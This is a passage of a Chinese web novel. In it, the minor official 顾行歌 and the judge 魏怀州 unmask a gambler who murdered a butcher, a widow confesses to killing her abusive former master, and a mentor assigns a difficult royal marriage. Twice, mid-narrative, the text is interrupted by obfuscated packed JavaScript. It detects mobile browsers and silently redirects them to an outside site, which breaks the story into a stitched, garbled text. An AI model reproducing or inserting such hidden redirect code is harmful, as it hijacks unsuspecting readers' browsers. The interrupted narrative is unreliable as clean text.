顾行歌一时语塞,细细一想,方才自己一直专注屋内的情况,确实没发现院子里还有人。冲进屋子的时候,也确实是被赵清拽了一把,可当时只以为是赵清担心自己,完全没想到还有这么一层。 她沉默半晌。 赵清见她不吭声,小心翼翼地补了一句:“我还以为你是故意当着魏大人面演的……结果你是真的不知道啊?” 顾行歌:“……” 她咬着牙低声道:“你敢回去乱讲,我就扣你下月的月银。” 赵清连忙摆手:“不敢不敢!主簿英姿不倒,临危不乱,我断不会将此事传出去的。” 顾行歌这才将视线转回屋内。 屋中局势已大变模样。 只见魏怀州已经将那钱大绑住,而何宛枝不知何时也进了,静静地站在一旁。 魏怀州不但及时救人,连人都替她拿下了。今日可被这魏怀州救了两次,这下欠大理寺的人情,可有点还不清了吧。 这时,钱大忽然出声了:“你光绑我有什么用?那女人呢?”他往后一偏头,指着何宛枝,“怎么不抓她?还有那个老太婆,刚才还拿匕首要杀我!” 魏怀州没理会他的嚷嚷,只淡声问道:“三个月前,五月初六,你是不是来找过张屠户?” 钱大含含糊糊地哼了几声,就是不回答。 张老太太忽地红了眼圈,猛地往前一步:“就是你。我们问遍了太平坊里所有酒家,那天我儿子根本没喝过酒。可你呢?你喝醉了,满街乱走,好几个人都看到你了。山上住着的小桃她们也说,看到了你来找我儿子!” 她越说越激动,眼泪啪地落下来,脚下蹬了一步就要冲过去,被赵清一把扶住。 钱大倒是不再狡辩,只是冷哼一声:“山上面的小桃她们?” “好啊,要她们来作证也成。但你们可知道,她们是怎么从江员外府逃出来的?你们当我不知道吗?”他侧身看向何宛枝,“要不,我来替这位何娘子,把那段陈年旧事讲给这位大人听听?” 可何宛枝却只是静静地站在那里,眼里甚至没有一点惊慌,仿佛她早就等着这一天了。 她抬眼看了钱大一眼,声音平平:“不用你说,我来说。” 她顿了顿,眼神扫过屋中每一个人,落到魏怀州面上:“是我杀了人。” 22. 两个夫君(八) 何宛枝道:“我本出身贫寒,父亲教了我一身武艺,却只盼着我嫁到他人家为媳,可他从未教我如何在这世道里活下去。他却因为这世道不公离开了,就撇下我一人。” 她垂下头,语气中多了一丝自嘲:“我空有一身皮囊,到了京城,想着靠自己卖力气也能养活自己。可京城地大,规矩也多,竟然连个落脚的地方都找不着。” “最后,我还是走上了父亲为我定的那条路上。江员外是个富裕人,我便打上了他的念头,打听到他妻位空闲,便想方设法入了府。” “只是……”她缓缓抬起头,看向顾行歌,“入了府才知,他在府中囚着十几个小女孩,最小的才几岁大,说是要调教得当,好送给那些个达官贵人。日日打骂不算,还……” 说到这,何宛枝眼中浮起一丝冷意:“这样的日子一天能忍,一个月也能忍,可一年了,整整一年,那样的人活得好好的,竟没有一个官府的人来抓他。既然官府不管,我管。那江员外自负得很,以为我不过是个女人,哪怕练过几年拳脚,也翻不出什么风浪。” “可他失算了。”她笑了笑,“他就死在一个自己看不起的女人的手上。” 何宛枝讲得轻巧,像是在讲一桩和自己完全没有关系的命案,好像她自己也相信了自己是个算计男人、图财害命的坏女人,就像这世上的风言风语,她早已照单全收。 顾行歌却只是看着她。 顾行歌心里明白,西山上那群孩子,最小的还不到七岁,最大的不过十四,这些人能活下来,不是靠什么天命,而是有人一步步把她们从烂泥里拽出来。 这个人不是旁人,正是眼前这个女子。 顾行歌一本正经地说道:“莫要这般诋毁自己。” 何宛枝听见这句话,倒是一愣,她定定看着顾行歌,眼中慢慢浮出一丝释然。 可这一丝释然也没持续多久,何宛枝还是将话题重新拉回:“那晚,我先借口出了门,随后又悄悄翻墙回去。我早就设好局,一剑将他捅死。” “事后有传言,说我杀了江员外,是为了他的钱财宝物。这钱大也听了这传言。” 说到这里,何宛枝一时神情有些复杂:“我那夫君……他一根筋,被钱大乱扯的谎话一吓,就信了,以为我真藏了什么宝物。结果反被这人一步步算计,死得不明不白。” 钱大听到这儿,猛地怒喝:“你放屁!那夜西山上,明明是你家那张屠户来找我,说那宝物的事,怎么到了你嘴里,反倒是我扯了谎了呢?” 这话一出口,钱大像是意识到了什么,猛地一抬手,捂住了自己的嘴。 只是为时已晚。 这钱大倒真如太平坊里众人说的那样,性子急,嘴巴快,脑子却慢得很。 魏怀州立马抓住钱大话里的破绽:“怎么,你现在承认自己去过西山,见过张屠户他们了?” 钱大早知大理寺这帮人,一个比一个精明,自己越说越错,干脆咬紧牙关不吭声。 魏怀州却不急,依旧从容道:“钱大,正元年间随父自云洲来京,在太平坊内铸铁为生。康乐五年,在江员外门下当差,康乐十年接手了自家的铁铺,之后短短数年便添置铺面、招揽人手,生意越做越大。” “可如今呢?只剩一间破铺,连打铁的炉子都快塌了。若说铁铺的营生赚大钱难,但好歹也能温饱度日,你的钱呢?” 钱大就是一句话不说。 顾行歌在旁看得真切,忽然往前一步,对魏怀州道:“魏大人,算了吧。反正那江员外的财物我们已经找到了,就埋在西山上面。与其审这钱大,不如早点把那些钱财找回来。” 钱大猛地抬头:“你说什么?” 顾行歌转头看他,故作惊讶:“你不知道吗?就在西山的那间茅草屋里面,张屠户没告诉你吗?” 钱大的脸涨得通红:“明明是我先问的张屠户!凭什么!” 话说到一半,他忽然意识到了什么,声音顿住,可为时已晚。 魏怀州站在他身侧,慢悠悠道:“哦?你先问的张屠户?怎么问的?是在西山问的,还是在崖下问的?” 钱大身子僵住,仿佛被当头一棒打得发懵,半天没回过神来。 魏怀州这时趁机拿出一张银票:“钱大,你认识这个吧?” 顾行歌瞥了一眼那银票,心头一动。这银票的章式,竟与她方才情急之下扔给钱大的那张一模一样,皆出自同一家银庄,年份还都是今年的,她不由地追问道:“魏大人,这是?” 魏怀州接着说道:“这是一张兑不出金银的空头银票,聚金坊交给京兆尹的。而这银票的主人,就是张屠户。怎么,钱大,你还不如实招来吗?” 聚金坊,坊如其名,京城内屈指可数的几家赌坊之一。 只是,有人聚金,自然就会有人销金。 别人不知道,显然,钱大一定觉得自己是聚金的那一波。 钱大嘴张大了半天,才硬挤出一句:“怎么这事,都传到官府了?再说了,我不是已经还了一部分了吗!” 原是这钱大一直好赌,这短短几年,就将自己的铁铺和多年积蓄输了个精光。 聚金坊的人隔三差五上门催债,脸都被堵烂了,钱大急红了眼,便打上了张屠户的主意。 张屠户生意好,手头宽裕。最要紧的,是他新娶的娘子来头不小。 钱大早年在江员外府里做过活,虽然后来自个儿回家开了铺子,可江府里的腌臜事,他不是没听过。说什么,江员外死得不干不净,府里原有的那点家底,有人说,都落在了那何娘子的手里。 传言真假,钱大管不得那么多。他只知道,张屠户娶了这么一个“拿着死人钱”的娘子,身上八成藏着宝。他当时就想,哪怕只拿一点,也够他缓口气。 魏怀州对着钱大道:“你赌债缠身,实在扛不住了,便打起了歪主意。你便跟踪着张屠户上了西山,想趁机敲诈他一笔。” 顾行歌眼神一凝:“这就对上了。山上的姑娘们说,张屠户死前几日,她们的确见过陌生人出现,还与张屠户相识,原来说的就是你。” 魏怀州点点头,走回到钱大的身旁:“你没想到在那里见到了原先在江府的那些女孩。江员外死后,江家族老将江员外的这一支全员散净,连下人都逐了个干干净净。你看到这些女孩,想到了之前的那些传闻,越来越觉得传闻都是真的。这江员外的财宝一定在何娘子手中。怎料那张屠户虽然耿直,却也机警,发现你的踪迹。于是……” 话音未落,何宛枝却忽然接过了话头。 她道:“你威胁我夫君,让他将钱财都交给你,却没想到夫君他反抗了你,你却将他推下了悬崖。” “找到他尸体那日,我发现他随身携带的银票不见了,我就知道他定不是失足掉下悬崖,一定是有人要害他!” 说到这里,何宛枝有些悲痛得说不出话了。 过了一阵,她接着说道:“你一计不成,又生二心,干脆又打起我的主意……” 顾行歌这时猛然想起了什么,怪不得!每回这何娘子遇上事,钱大都出来得奇快。 她陡然向前一步,直直盯住钱大道:“今日何娘子院中的门板处有一层硝石灰,那玩意儿只有打铁的才会沾上!是你,今日我们在何娘子家时,你那时就在屋外监视着她!” 钱大此时一脸灰败。 而那一旁的何宛枝,却只是轻轻地安抚了一下一旁的张老太太,低头苦笑了一下,像是终于卸下了身上的一块巨石。 顾行歌望着她们相依的模样,忽然明白过来。 她低声道:“原来……你们一直都知道钱大的念头。” “从头到尾,那些婆媳不和、冷眼相待,都是故意演给他看的。你们要让他以为,你们之间有嫌隙,好趁虚而入。” 何宛枝苦笑一下:“若非如此,怎么能让钱大露出马脚呢。” 顾行歌又扫了一眼屋中摆设,脑中迅速闪过今日的局势。 她余光落在魏怀州身上。他正在翻看着屋内其他的证物,神情沉静,似早已了然于胸。 顾行歌心中忽然微微一滞。 什么让她去西山查线索,什么张老太太独自一人在屋中,什么魏怀州临时起意设伏,全是演的,全是早有布置。 搞不好,从她今日见到这魏怀州的那一刻起,就已经布好了。 搞了半天,这次又是只有她一个人什么都不知道!自己冒着这么大的危险,却又给这大理寺的做了嫁衣! 顾行歌面上仍是一副温温和和的模样,只是火气逐渐在胸腔燃烧。若说上一回她还算不明不白,这一回,她可彻底记下了。 不一会儿,大理寺黑压压地来了一片人。打头那位,一身新衣新靴,腰间的玉牌擦得能当铜镜照,正是那平日里邋里邋遢,今日却像着了魔似的收拾得利利索索、就差没给自己点点儿胭脂的李烛龙。 听说何宛枝在这儿,他是第一时间请命,在秦若木那边磨了好久的嘴皮子,才好不容易抢下这个宝贵的机会。 结果刚一进门,还没来得及露两招威风威风,就被眼前这凝重的氛围吓得嘴巴合都合不上。 不是说只是抓个赌徒吗?怎么现场像审命案? 官差们倒是干脆,三下五除二就将钱大捆了个结实,拖着他往外走。谁知这钱大还不死心,临出门前还大声喊:“为何只抓我?这毒妇才是真正的杀人凶手!” 李烛龙听得直皱眉,抬脚就朝钱大屁股踹了一下:“闭嘴吧你!” 这一脚踹得够狠,钱大踹得一个趔趄,差点没站稳,也算替在场众人出了口恶气。 踹完人,李烛龙却忽然有点心虚,硬是没敢往屋里瞧一眼。 尤其是,不能看何宛枝。 他眼神一闪,索性死死盯着一旁的赵清,盯得赵清忍无可忍,只往后缩了一步:“喂喂喂,你盯我干嘛,我又不是你们大理寺的。” 李烛龙火气蹭地往上冒,却硬生生地又压了下去。 他是五大三粗,可不是没心没肺没脑子。 难不成,这何娘子……真是杀人凶手? 李烛龙脑子乱成一锅粥。若真是如此,那成亲的事,怕是彻底没了希望。难道自己的姻缘,还没开始,就结束了? 而屋里,何宛枝却没有任何挣扎,只是默默走上前来,在他面前站定。 “绑吧。”她伸出双手,语气听不出喜怒。 李烛龙整个人愣在原地,脚下像钉了钉子,一时间竟忘了动作。 偏在这时,魏怀州终于出声:“何娘子,我已经将杀害你丈夫的凶手缉拿归案,你现在可以将真正的真相告诉我了吗?” 所有人神情微变,仿佛没料到,他还有这一问。 难道还有隐情? 何宛枝并未露出丝毫惊讶,她站在原地,神色淡然,坚定地吐出一句:“江员外是我杀的,其余还能有谁?府里那些人武功都没我高。” 魏怀州却不紧不慢地道:“武功高,不等于会杀人。正如手无缚鸡之力,也并不代表就不会杀人。” 话音未落,张老太太突然跪了下来,她面朝魏怀州道:“大人……您替我儿子报了仇,我张家哪怕下辈子做牛做马,也记着这份恩。” 她说着,身体微微颤了颤,又看了何宛枝一眼,最后咬牙说道:“可我不能再瞒着了,不能辜负大人,辜负我这好儿媳……那杀害江员外的人,其实是我儿子。” 顾行歌猛然站起身来,惊得半天都说不出话来。 魏怀州则迅速弯身将张老太太扶起:“快快请起。” 可他手还没扶稳,何宛枝却突然上前一步,语气陡然尖锐:“不对,是我杀的!那人渣该死,是我亲手杀的!不是他,和他无关!” 魏怀州眉头微蹙,却并未立刻回应,而是让一名大理寺官差给他送来一份案卷:“江员外死了两年多了,尸体早已经不可考。我有查阅京兆尹的案卷,说那江员外身上的伤口多处,江员外身上有数道致命伤,所用利器不同,出手角度不同,连用力的方式都各不相同。” 他抬头看了一眼何宛枝:“习武之人,杀人一击即中,从不拖泥带水。可这具尸体上的伤……不像一个人所为。没有证据证明是你所为。” 顾行歌听得一怔,脑海中忽然闪过江府覆灭后那些仆从纷纷被遣散的传闻,不禁喃喃开口:“难道……不是她一个人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后,她便随官差离开了,只留下李烛龙一人,愣愣站在原地。 赵清在一旁喃喃道:“难道真的是何娘子杀江员外吗?” 顾行歌看了魏怀州一眼,只见魏怀州面上浮现一丝不甘。顾行歌便知道,恐怕这案子还有未解之谜。 她道:“这已经不重要了。” “江员外的死因,至今无解,而江府那些当年的下人,上有老下有小,一个个活得如履薄冰。你不觉得奇怪么?他们为何要怕?” 赵清一时没明白:“为何他们会害怕?还怕凶手回来报复吗?” “我说,”顾行歌缓缓道,“真正的凶手,也许从来不是一个人。” 或许,是为了救那几个孩子。 或许,他们都曾被江员外逼入绝境。 又或许,江员外身上的每一刀,都是不同的人所为。 顾行歌盯着何宛枝渐行渐远的背影,只见她原本的一身素白衣衫,不知何时已沾了尘灰,褪了颜色,在黑夜里逐渐消失。 她正怔神间,魏怀州却在一旁开口:“此案,我自然还会继续查下去。只是……” 顾行歌心头一跳。坏了,莫不是要算账了? 虽说她方才借用了魏怀州的名头,略显冒失,但转念一想,这魏大人自个儿也没那么清白。 堂堂大理寺的少卿,明明早有埋伏,却叫她这合婚司主簿在前头当靶子。真要算账,错得多的,怕还是他们大理寺。 顾行歌心里有了底气,板起脸来,一本正经道:“什么事?魏大人请讲。” 魏怀州道:“走吧。” “啊?”顾行歌一愣,“去哪?” 魏怀州道:“西山啊,你不是说那财宝在西山吗?我们去看看江员外到底留下了什么。方才何娘子也跟我说,她把那财宝的事情都告诉你了。” “……”顾行歌突然有点头皮发麻。 魏怀州看她没回话,忽地想起临来前秦若木的千叮万嘱。什么“同朝为官,大家要和睦相处”,“顾主簿是个值得深交的好人”。 以及魏怀州再到处得罪人的话,他就要写信去英州告他的状。 一想到英州那群只整日唠唠叨叨的老古板们,魏怀州忽然生出一股深沉的无力感。他站在原地沉默片刻,终于下了决心,原本绷了一整日的板砖般的面孔终于有了一丝松动。 他深吸一口气,鼓起勇气说道:“这次,还得仰仗顾主簿了。合婚司为我们大理寺立下了赫赫战功,在下感激不尽。” 顾行歌差点吓得当场拔腿就跑。那个面冷如刀、恨不得把所有人都抓起来的大理寺鬼判魏怀州,居然在感谢自己! 顾行歌一个激灵,猛地往后缩了一步:“大人……你别……” 旁边大理寺众人也都不约而同地背脊一凉。 魏怀州以为自己方才的谢意还不够,于是当着几名大理寺官差的面,又认真补充了一句:“顾主簿可还有疑虑?若是我们大理寺做得不周,那……这样吧,我知道合婚司人手不多,也没几个能打的,若是我们真在西山找到江员外的东西,我特批一人,每日在合婚司巡逻,护你们安全,如何?” 顾行歌勉强笑了笑:“其实不是这个……” 魏怀州闻言,眉头轻蹙,以为她还不满意,略一沉吟,又正色道:“也罢,那便两人。大理寺如今人手也紧,但……两个人,应该还是能腾得出来。” 他话还没说完,就感到自己的衣角被人轻轻一扯。 他低头一看,只见顾行歌笑得比哭还难看,小声道:“魏大人……我说的那个找到财宝的事,是编的,我骗钱大的。他脑子不灵光,一听就信了。” 魏怀州脸色一下沉了下去。 顾行歌眼看不妙,赶紧补救:“不是,我可不是要骗你!你那么聪明,一定一眼就看出来我在胡扯……你果然也没信,对吧?” “……” “你去哪啊,魏大人你别生气嘛!不是说好两个大理寺官差轮流来我司帮忙的吗!你说过的,我都记着呢!你可不能说话不算数啊!” 魏怀州头也不回地走了,背影冷硬如山。 顾行歌站在原地,还不死心,冲他背影喊:“魏大人你要记得啊!两个!官差!实在不行一人一天轮值也行,你别装听不见啊!” 23. 两个夫君(九) 五日后。 都说人逢喜事精神爽,合婚司的诸位也不例外。 不知怎的,今日这小院子自打天一亮,就叮叮咚咚地热闹了起来,像是要办什么大事。 天亮得差不多了,老郑来了,刚一推开院门,整个人便怔在了原地。 只见院中立着一个鹅黄色身影,身穿圆领襦裙,梳着高髻,头上带着最时兴的玉簪,正低着头认真扫地。阳光一照,那身温柔颜色衬得她肤色透亮,眉眼含春,竟有几分西市胡人娘子的娇俏模样。 这哪里是他们那个素来一身女官服包裹到底的顾主簿? 老郑看得心里一跳,下意识就摸了摸自己怀里那张平安符,居然升起了一股想给她贴张符纸的冲动。 可惜他刚一伸手,就被一旁的赵清幽幽地拦住了:“我今儿早来时,她就是这副模样了。” 老郑悄声问道:“是因为前几日,在口头上赢了大理寺那位魏大人吗?” 赵清摇头。 “那就是江员外的财宝,有线索了?”老郑一边小心翼翼地绕过顾行歌,一边问道。 赵清撇撇嘴,闷闷地道:“都不是。” “那是?” 赵清一脸不情愿,小声道:“我猜八成是那位,今日要来。” 老郑心下了然,还来不及多说几句,便听顾行歌站在门口朝他们笑道:“两个大男人杵在门口做什么呢?快过来干活。” 老郑这才松了口气。 这熟悉的使唤人口气,听着就叫人安心。还好,还好,看来还是他认识的那个顾主簿,没中邪。 不一会儿,在顾行歌的指挥下,老郑便和赵清一左一右,把院中的一张落了灰的小案几搬进了屋。 案几刚放置妥当,顾行歌便笑盈盈地端了两杯茶走过来,老郑和赵清刚好一人一杯。 赵清接过茶,狐疑地看了她一眼。 老郑还是觉得今儿个哪哪都透着古怪。趁顾行歌转身的功夫,他悄悄从怀里摸出一张卦纸,嘴里念念有词,正想算算今日这顾主簿到底发哪门子的疯。 谁知才念了两句,就听背后传来一声轻笑:“老郑,我可看见你的卦纸了。” 老郑一哆嗦,赶忙把卦纸塞回怀中里,挤出个干巴巴的笑:“主簿,这不是……” 顾行歌道:“行了,我知道你在想什么。今日我折腾这么多,就是为了告诉你们,从今往后,咱们合婚司,再也不是谁想捏就能捏的软柿子!” 赵清眼前一亮,手里的茶杯差点捧不住:“莫不是……我们要搬回户部的衙门了?我早就说过,这太平坊的小院子,根本配不上我们合婚司的排场!” 顾行歌睨了他一眼:“怎么可能。” 赵清像被泼了盆冷水,脑袋一点点垂下去:“那还能是啥呀?” 顾行歌却神情一转,得意洋洋道:“自是我请来了一位武艺高强的同僚。往后,这案几便是她的。有她在,什么大理寺、京兆尹,在我合婚司面前,都得让道!” 说到这,顾行歌脑中忽然闪过前几日和钱大对峙时,自己一个没站稳摔个四仰八叉的场面,不由悲从中来,嘴角都跟着抽了一下。 但这一切都过去了! 从今以后,再也不怕了,合婚司有能打的人了! 老郑一听也高兴起来:“哎哟,是哪位啊?莫不是兵部派来的武官?”又一拍大腿接着道,“还是,哪个大门派出来的高人?那可了不得了!” 话音未落,院门传来“笃笃”两声轻响。 顾行歌眼睛一亮,也顾不上老郑还在那儿盘算,快步走过去推开了门,满面笑容地道:“来得正好,给你们介绍一下,合婚司的新同僚。” 老郑和赵清一听,立马伸长了脖子往外看,只见院门外走进来一个瘦瘦小小的姑娘,眉眼生得秀气,一张脸白白净净的。谁料她站定之后,抬起头来那一瞬间,周身隐隐透出一股锐气,竟让人不敢小觑。 老郑和赵清的笑,顿时卡在脸上。 此人,正是那日在西山,仅凭着一柄长枪、险些伤了顾主簿、武功高得不像话的那位少女。 几日前何宛枝被带走之后,西山上的那群姑娘一时间无人可依靠。于是顾行歌一拍脑袋,不如自己租个院落,先将人安顿下来。 只是这么一来,花销就大了。 她本想靠自己那点俸禄,勒紧裤腰带省一省,也许还能撑得过去。实在不行,那就重操旧业,再去坊间给人写状子赚点外快,总归不会饿死。 谁知那日下午,院子刚租下,她正琢磨接下来怎么办,那少女却自己找上门来,郑重道:“顾主簿救命之恩,我们无以可报,只愿此后以身相随。” 顾行歌心中一合计,这姑娘武艺高强,何不索性请来合婚司当个侍卫?如此一来,不仅省了从外头请人的银子,这姑娘还能领俸养活自己,也算是替她减了些负担。 多划算。 这便是她顾行歌做事的章法,该省省,该花花、合理安排,化被动为主动。 那少女站定,抬头认真地道:“我叫何流云,诸位叫我流云就好。” 老郑那日没去西山,虽听说过这姑娘的事迹,可到底没亲眼见过,如今瞧着她那副细胳膊细腿的模样,心里还是有些打鼓:“流云姑娘……真能护得住咱们?” 赵清也点了点头,不过他关心的不是这个:“流云姑娘是武艺高强没错,可她的俸禄从哪儿出?莫不是?” 他说着看了顾行歌一眼,神情复杂。莫不是这顾主簿又自己出钱? 顾行歌讪笑了一下,正要开口解释,就听见院外忽然传来一道清亮的男声: “自是不会让你们主簿自己出。” 只见一男子骑着高头大马,出现在太平坊的这条小巷里,那匹马通体乌黑,鬃毛光亮,气势极盛。 巷子本就不宽,平日里也只容两人并行,这匹马踢踢踏踏一路走过来,街坊们无不回头张望。 再看马上那人,身着文官常服,腰却束得极紧,马术极稳,一路走来竟连衣摆都未被风吹乱。最惹眼的还是那张脸,长得清俊,嘴角还挂着点笑意,叫人一看就移不开眼。 太平坊的姑娘们远远望见这人竟在合婚司门口勒马停下,顿时眼前一亮,小声叽叽喳喳起来:这位莫不是也来寻姻缘的? 顾行歌却早瞧见了,忙提了裙摆快步迎上前。站稳后,便恭恭敬敬地行了一礼:“老师。” 那人正是当今户部尚书——孟忧之。 孟忧之翻身下马,瞧了瞧眼前这间小院,似笑非笑地说道:“怎么我这一段日子不来,你这合婚司的大门,怎的越来越小了?” 说着,顺手将马绳递了过来。 顾行歌接过马绳,面上还是那副恭敬模样,心里却已经在嘀咕:既然知道这地方小,那为何不干脆把合婚司迁回户部衙里去?您老人家还偏要骑一匹这么大的马来…… 她心不甘情不愿地把马拴在院门外那棵歪脖子柳树上。可那马精神得很,不安分地踢踏了几下,蹭了她一身灰不说,还把那棵歪脖子树拽得更歪了,柳叶抖得哗啦啦直响。 她轻轻叹了口气:“这树也快撑不住了……” 偏孟忧之那耳朵灵得很,笑眯眯地回头问道:“你说什么?” 顾行歌仍是那副恭敬周全的模样:“说老师这匹宝马,拴在我们这逼仄之地,实在是委屈它了。” 孟忧之望着她,笑意更深了几分。 顾行歌这点小脾气,他再熟不过。嘴上不说,脸上却什么都写得一清二楚。 倒也不是他不想把合婚司迁回户部,只是…… 顾行歌参加科考那年,主考官就是他。 虽说她并非他的入室弟子,可一路走来,倒也算得上是他一手提拔上来的门生。本朝虽不禁女子科考为官,可像顾行歌这般,才登仕途没几年,便坐主簿之位的,仍属凤毛麟角。 当年他力排众议,把她一把拎进了户部下设的合婚司,户部内部为此闹得沸沸扬扬,有说他标新立异,还有骂他好大喜功的。 他当时只回了一句轻飘飘的话:“此乃不拘一格降人才。” 虽是这般说着,可他心里明白,户部那些老顽固不是那么好打交道的。他把合婚司安在太平坊,说是疏远,实则也是想避开那摊子浑水。 不过,这太平坊的宅子……的确逼仄了些。 可就是在这巴掌大的小院里,顾行歌硬是把一摊子姻缘之事,做得有声有色,实属难得。 想到这里,他语气温和了些:“流云姑娘的事我已知晓,她的俸禄自是由户部支出。” 顾行歌几人一听,眼前皆是一亮。 可还没来得及高兴完,孟忧之就又轻飘飘地补了一句:“只是。” 他深深看了顾行歌一眼,缓缓道:“只是最近这段时日,合婚司不但一桩新姻缘也没撮合成,倒是牵扯进了几桩命案。今年的年底官考,你们合婚司,怕是凶多吉少啊。” 顾行歌头皮一阵发麻,刚想分辩几句,却听见孟忧之又说道:“不过,眼下还有一个机会。” 孟忧之说着,取出一封信函放在案几上:“下月初十,西平王入京,圣上设宴接风,有意在席间赐婚,这是有意结亲的人家的名单,你们好生看看,既要姑娘愿意,也要西平王满意。” “到时候多请些世家子弟来赴宴,若有两情相悦者,圣上一高兴,说不定一并赐了婚。”他笑了笑,“若能促成此事,年底赏银,自不会少了你们合婚司的。” 赵清听得眉头紧蹙,忍不住低声问道:“可是那鹤州的西平王?” 孟忧之点头:“正是他。” 院里顿时安静了下来。 鹤州的西平王,李睿,年纪轻轻,才二十四岁便袭爵位,家世显赫,什么都好。 却身有残疾。 鹤州那边有许多说法,有人说他只是一条腿废了,也有人说他再也站不起来了。至于究竟如何,传得五花八门,朝中无人敢问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057515|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样子,会有姑娘愿意嫁给他吗? 赵清在一旁悄悄努了努嘴。他向来对孟忧之敬而远之,倒不是怕,只是这位大人苛待他们合婚司也就罢了,隔三差五还爱丢些稀奇古怪的麻烦过来。 这下好了,魏怀州的婚事没落定,西平王的又来了。一个大理寺鬼判,一个鹤州寡王,朝廷两大难娶之人的终身大事,全压到他们这几个小官头上,这叫什么事儿! 赵清这边还没来得及把气理顺,便听顾行歌淡定地应了下来:“此事学生自当竭力。” 赵清差点背过气去。一抬头,正对上老郑的目光。两人一个皱眉一个叹气,心领神会,心里同时蹦出一句话:又来了。 他们这位顾主簿,什么都好,机灵果断、见招拆招,可偏偏对孟忧之的吩咐,一向是言听计从。 这样的事,已经不是一回两回了。虽说那位孟大人确实是她的提携之恩,更是户部的上级,可也不至于事事有求必应吧?他们合婚司是撮合姻缘,不是专门强娶豪夺的衙门! 赵清对此早有一肚子腹诽,只是碍着场面,实在不敢说出口。 而那位始作俑者,孟忧之见今日的目的已达,便心满意足地出了院门,骑上他那匹高头大马,风采翩然,不知沿途又要招惹了多少姑娘的芳心。 顾行歌在他身后喊了句“老师慢走”,他却连头也不回,策马而去,只留下一个风流倜傥的背影,在阳光下熠熠生辉。 等顾行歌回到院中,就看到两张愤愤不平的脸和一张青涩得什么都不知道的脸,正在齐齐地望着她。 她叹了口气:“诸位,今日本该是我合婚司的好日子,怎都这般脸色?” 赵清唰地站起来:“主簿,那西平王如今能不能站起来都说不准,这样的婚事……哪家姑娘愿意嫁啊?” 顾行歌没有立刻回话,只看着他。 赵清见着她这个样子就来气,话也冲了几分:“主簿,我知道你把孟大人当老师,可你当他是老师,孟大人就一定把你当他的门生吗?” “赵清!”老郑一听,脸色一变,立刻喝止他。 赵清嘴巴张了张,最终咬咬牙,转过身去,不再言语。 顾行歌看着他背影,心里叹了口气。她知道,赵清是为她好。 可她从苑川县一路考到京城,寒窗十载,好不容易中了功名,却因是女子的身子,处处受限,只得在坊间替人写状子为生。 却在偶然之间,得到孟忧之的赏识。那日春光正好,孟忧之站在窗前,随手看着她替人写的状子,问她愿不愿意进户部,接个没人愿干的闲差。 她自然愿意。那是她第一次觉得,自己的仕途中,或许还有一丝微光。 顾行歌从不是糊涂人。她知孟忧之未必有多器重自己,但就算是一点点的帮助也足以让她感恩至今。 所以孟忧之吩咐的事,她怎会不答应? 老郑到底是司里最年长的,眼见气氛僵住,忙装模作样地咳了一声,接着一手将两人推开:“你们两个先歇歇气,省得话赶话又闹别扭。”说着便朝流云招了招手,“来,咱们先把你的告身文书写了。” 谁知流云却从怀中摸出几张银票,双手递给顾行歌,神色认真:“顾主簿,流云无以为报,这是何姐姐以前给我们留下的。如今你帮我们,我们心里记着。银子虽少,还请收下。” 顾行歌还没来得及推辞,流云又跑到赵清跟前,手里拿着最后一张银票,道:“赵大哥也别生气,那日你也帮了我们很多,这是你的!” 赵清一愣,接也不是,不接也不是,只能结结巴巴道:“我……我不是为了钱……” 顾行歌低头看着手中那几张银票,心中一震,这竟有几百两,细细一算,足够养活这群孩子平安长大。她一时有些恍惚,奔波这么多日子,这是头一回,见到回头钱。 她忽然想起那日捡到的,何宛枝给那张老太太的那张银票,那张好像也就五十两吧,而且还换不出来钱。她想着,不如也一并留着,就当给这几个姑娘攒下的盘缠钱。 她正打算将这银票一并收好,却突然停下了动作。 等等! 顾行歌脑中闪过几个断断续续的片段—— 那日何宛枝临走前,说得郑重其事:“这些孩子,就托付给你了。” 再想到魏怀州那句:“何娘子说财宝早就给你了。” “早就给我了?” 顾行歌猛地抬头,正撞上赵清的目光。 赵清颤颤巍巍地举起那张银票,也顾不得方才还在生气的事,语速都快了几分:“主簿,你还记得吗?那张何娘子给张老太太的银票,张老太太说换不了钱,随手扔了,结果被咱们捡起来了!” “那时候何娘子就在场,却一句解释也没说。任由我们捡起来。” “你再看这张新银票,还是同一家银庄,可这张的格式、纸质,全都不一样。” 赵清一咬牙,大声道:“我觉得,那张,根本就不是银票!” 24. 两个夫君(十) 听到这里,顾行歌怔住,眉头一点一点拧紧。 如果说张老太太与何宛枝的反目,是特地做给钱大看的一场戏。 那为何要让张老太太在众人面前,说那张银票换不出钱?又为何,何宛枝当时明明在场,却只字不提银票的来历与真假? 五十两银子,说多不多,说少也不少,寻常百姓家够过一年光景了。更何况她还靠着每日卖胡饼度日,怎会舍得让一张银票就这么白白丢了? 除非…… 那所谓故意给张老太太一张换不出钱的假银票的一幕,根本不是演给钱大看的,而是…… 是她故意演给顾行歌和魏怀州看的。 顾行歌猛地倒吸一口凉气,喃喃道:“原来,连我也在她的局中。” 说罢,她抓起赵清的胳膊,风风火火往外冲:“快,去钱庄!那张银票是假的还是真的,得立刻查清楚!” 两人一路小跑至巷口,翻身上了马车。车帘一落,外头的喧嚣顿时被隔绝,车厢里安静下来。 顾行歌原想着趁这会儿缓一缓,和赵清多说几句好话,缓和方才的僵局。谁知刚一侧头,就瞧见赵清的脸板得紧紧的,直直地朝左边看去,压根没打算搭理她。 顾行歌心里也来了气,轻哼一声,把头往右一偏,干脆也不看他了。 车轮碾过青石板,哒哒作响,在这沉默里显得格外刺耳。 眼见前头快到钱庄了,顾行歌终究还是没忍住,偷偷偏过头去瞧了赵清一眼。 这小子还是一副气呼呼的样子。 